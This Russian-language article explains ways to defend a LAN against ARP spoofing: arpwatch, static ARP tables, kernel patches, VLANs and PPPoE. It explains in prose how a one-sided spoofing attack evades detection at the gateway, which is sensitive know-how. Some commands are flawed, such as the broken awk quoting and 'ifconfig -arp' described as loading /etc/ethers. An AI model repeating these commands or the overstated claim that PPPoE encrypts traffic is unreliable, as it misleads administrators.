    Борьба с ARP-spoofing’ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной.

    • Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing’у, существует возможность незамеченной односторонней атаки.
    • Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить.

    Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяcнения. Однако, такой подход имеет большой недостаток — он может быть использован для выполнения DOS атаки: достаточно только узнать MAC адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing’а все сделает сама.

    В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно раличных принципа, каждый из которых обладает как достоинствами, так и недостатками.

    Оба способа, помимо того что они надёжно защищают от ARP-spoofing’а имеют ещё то преимущество, что позволяют полностью контролировать трафик — не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.)

    Одностороняя атака
    Если нужно перехватить трафик, который уходит с какого-то узла в сети во внешнюю сеть, атаковать нужно узел и шлюз сети. Однако на шлюзе средство обнаружения ARP-spoofing’а может присутствовать с намного более высокой вероятностью, чем на узле. Поскольку нас интересует трафик, который узел отправляет в сеть, достаточно модифицировать ARP-таблицу только узла и не рисковать быть замеченным шлюзом. Данные, которые шлюз отправляет узлу будут проходить напрямую, а данные, которые узел отправляет шлюзу будут проходить через систему злоумышленника. (как на шлюзе, так и на узле можно было бы отследить, что на пакетах приходящих от узла MAC-адреса отличаются от тех, что записаны у него в ARP-таблице, т.е. что пакеты отправляются на один MAC-адрес, а приходят с другого. Но вот какие системы это делают?)

    Статический ARP

    Можно бороться со слабостями протокола ARP кардинально — просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу.

    Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком.

    Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос.

    Статическую ARP-таблицу можно получить на основе существующей ARP-таблицы маршрутизатора:

    %# arp -an | grep -v incom | awk "{print $2" "$4}" | tr -d "()"

    Если написать так:

    %# arp -an | grep -v incom | awk "{print $2" "$4}" | tr -d "()" > /etc/ethers

    она запишется в файл /etc/ethers

    Нужно чтобы в таблице было максимальное количество машин сети. Нужно или строить таблицу в момент пика сетевой активности или предварительно пройдясь по всему диапазону адресов пингами:

    for i in `seq 1 255`
    do
    ping -c 1 192.168.15.$i >& /dev/null &
    done

    (здесь 192.168.15.0/24 - сеть, для которой выполняется сканирование). После того как файл /etc/ethers создан, его можно загружать с помощью команды:

    %# ifconfig eth1 -arp

    Преимущества и недостатки

    Метод ручного формирования ARP-таблиц имеет следующие недостатки:

    • добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах.
    • клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing’у.

    Патчи ядра системы

    Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.

    Суть метода состоит в следующем. При приеме ARP-ответа производится сравнение старого и нового MAC-адресов, и при обнаружении его изменения запускается процедура верификации. Посылается ARP-запрос, требующий всем хозяевам IP-адреса сообщить свои MAC-адреса.

    Если выполняется атака настоящая система, имеющая этот IP-адрес, ответит на запрос, и, таким образом, атака будет распознана. Если же изменение MAC-адреса было связано не с атакой, а со стандартными ситуациями, ответа, содержащего “старый” MAC-адрес, не будет, и по прошествию определенного таймаута система обновит запись в кеше.

    При обнаружении подозрительной ситуации (“двойника”) ядро выводит сообщение: “ARP_ANTIDOTE: Possible MITM attempt!”, и не обновляет запись ARP-кеша, а наоборот, прописывает старую запись как статическую. После того как источник атаки выявлен и обезврежен, статическую запись можно удалить.

    Патчи, реализующие этот метод борьбы:

    * arp_antidote для Linux
    * arp_antidote 2 для Linux
    * Arp Poison patch для FreeBSD

    Патчи работают только с ядром серии 2.4.

    Другие методы борьбы с ARP-spoofing’ом

    К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен.

    Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing’а в ней было принципиально невозможно. А если возможным, то бесполезным.

    Это можно сделать двумя способами:

    1. Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять — нужен третий. А его нет.
    2. Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора.

    Первый способ делается с помощью VLAN’ов . Второй — с помощью PPPoE .

    Использование VLAN

    Компьютер C может использовать ARP-spoofing против компьютера A только в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело).

    VLAN’ы помогают сегментировать сеть — превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN’е. В наиболее крайнем случае, когда в каждом VLAN’е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко.

    Преимущества
  • От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски.
  • Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке.
  • Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN’ах. Если каждый узел находится в собственном VLAN’е такой обмен невозможен вообще.
  • Недостатки
  • Необходима поддержка VLAN’ов коммутатором.
  • Необходимо потратить время на настройку VLAN’ов, дополнительную настройку DHCP’сервера.
  • Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы.
  • Использование PPPoE Преимущества
  • Данные шифруются
  • Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой
  • Недостатки
  • На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения.
  • За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются.
  • При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза.
  • При большом количестве соединений PPPoE (>200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных.
  • Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec
  • Мифы и заблуждения, касающиеся ARP-spoofing

    ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов

    Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное.

    При ARP-spoofing’е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом.